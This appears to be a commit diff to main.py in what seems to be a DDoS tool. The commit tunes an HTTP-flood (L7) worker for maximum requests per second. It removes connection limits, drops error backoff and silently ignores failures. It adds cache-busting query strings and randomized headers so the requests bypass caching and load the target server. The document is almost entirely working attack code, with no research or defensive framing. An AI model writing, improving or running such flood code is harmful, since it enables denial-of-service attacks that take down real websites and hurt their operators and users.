Samuraiog commited on
Commit
77398e6
·
verified ·
1 Parent(s): 85cc1f8

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +20 -34
main.py CHANGED
@@ -247,75 +247,61 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
247
  # OPTIMIZED L7 WORKER PROCESS
248
  # ====================================================================================
249
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
250
- """Optimized L7 worker for sustained high RPS."""
251
  ssl_context = ssl.create_default_context()
252
  ssl_context.check_hostname = False
253
  ssl_context.verify_mode = ssl.CERT_NONE
254
 
255
- # Balanced connector settings for sustained throughput
256
  connector = aiohttp.TCPConnector(
257
- limit=concurrency * 2, # 2x concurrency for connection pool
258
- limit_per_host=concurrency,
259
  ttl_dns_cache=300,
260
- force_close=False, # Reuse connections
261
- enable_cleanup_closed=True,
262
- keepalive_timeout=30
263
  )
264
 
265
- # Balanced timeouts
266
- timeout = aiohttp.ClientTimeout(total=10, connect=3, sock_read=5)
267
 
268
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
269
  async def task_worker(worker_id):
270
  """Individual task worker - sends requests continuously."""
271
  local_counter = 0
272
- consecutive_errors = 0
273
 
274
  while not stop_event.is_set():
275
  try:
276
- # Random query string to bypass caching
277
- cache_buster = f"?_t={int(time.time() * 1000)}&_r={random.randint(1, 999999)}"
278
 
279
- # Use the specified HTTP method
280
  async with session.request(
281
  method.upper(),
282
  f"{url}{cache_buster}",
283
  headers=get_random_headers(),
284
- allow_redirects=False,
285
- timeout=timeout
286
  ) as response:
287
- # Read just the status - count only successful requests
288
- if response.status < 500: # Count all non-server-error responses
289
  local_counter += 1
290
- consecutive_errors = 0
291
- else:
292
- consecutive_errors += 1
293
 
294
- except (asyncio.TimeoutError, aiohttp.ClientError):
295
- consecutive_errors += 1
296
- # Back off if too many errors
297
- if consecutive_errors > 5:
298
- await asyncio.sleep(0.05)
299
- consecutive_errors = 0
300
- except Exception:
301
- consecutive_errors += 1
302
- if consecutive_errors > 5:
303
- await asyncio.sleep(0.05)
304
- consecutive_errors = 0
305
  finally:
306
- # Batch updates for performance
307
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
308
  with shared_counter.get_lock():
309
  shared_counter.value += local_counter
310
  local_counter = 0
311
- # No sleep - maximum speed
312
 
313
  # Final update
314
  if local_counter > 0:
315
  with shared_counter.get_lock():
316
  shared_counter.value += local_counter
317
 
318
- # Launch all concurrent tasks with IDs
319
  tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
320
  await asyncio.gather(*tasks, return_exceptions=True)
321
 
 
247
  # OPTIMIZED L7 WORKER PROCESS
248
  # ====================================================================================
249
  async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
250
+ """Optimized L7 worker for sustained high RPS with persistent connections."""
251
  ssl_context = ssl.create_default_context()
252
  ssl_context.check_hostname = False
253
  ssl_context.verify_mode = ssl.CERT_NONE
254
 
255
+ # Optimized connector for persistent connections
256
  connector = aiohttp.TCPConnector(
257
+ limit=0, # No limit - let it scale
258
+ limit_per_host=0, # No per-host limit
259
  ttl_dns_cache=300,
260
+ force_close=False, # CRITICAL: Keep connections alive
261
+ enable_cleanup_closed=False, # Don't close idle connections
262
+ keepalive_timeout=60 # Keep connections alive longer
263
  )
264
 
265
+ # Faster timeouts to fail quickly and retry
266
+ timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=3)
267
 
268
  async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
269
  async def task_worker(worker_id):
270
  """Individual task worker - sends requests continuously."""
271
  local_counter = 0
 
272
 
273
  while not stop_event.is_set():
274
  try:
275
+ # Simple cache buster
276
+ cache_buster = f"?{random.randint(1, 99999999)}"
277
 
278
+ # Fire and forget - don't wait for response body
279
  async with session.request(
280
  method.upper(),
281
  f"{url}{cache_buster}",
282
  headers=get_random_headers(),
283
+ allow_redirects=False
 
284
  ) as response:
285
+ # Just check status exists (don't read body)
286
+ if response.status:
287
  local_counter += 1
 
 
 
288
 
289
+ except:
290
+ # Silently ignore errors for max speed
291
+ pass
 
 
 
 
 
 
 
 
292
  finally:
293
+ # Batch updates
294
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
295
  with shared_counter.get_lock():
296
  shared_counter.value += local_counter
297
  local_counter = 0
 
298
 
299
  # Final update
300
  if local_counter > 0:
301
  with shared_counter.get_lock():
302
  shared_counter.value += local_counter
303
 
304
+ # Launch all concurrent tasks
305
  tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
306
  await asyncio.gather(*tasks, return_exceptions=True)
307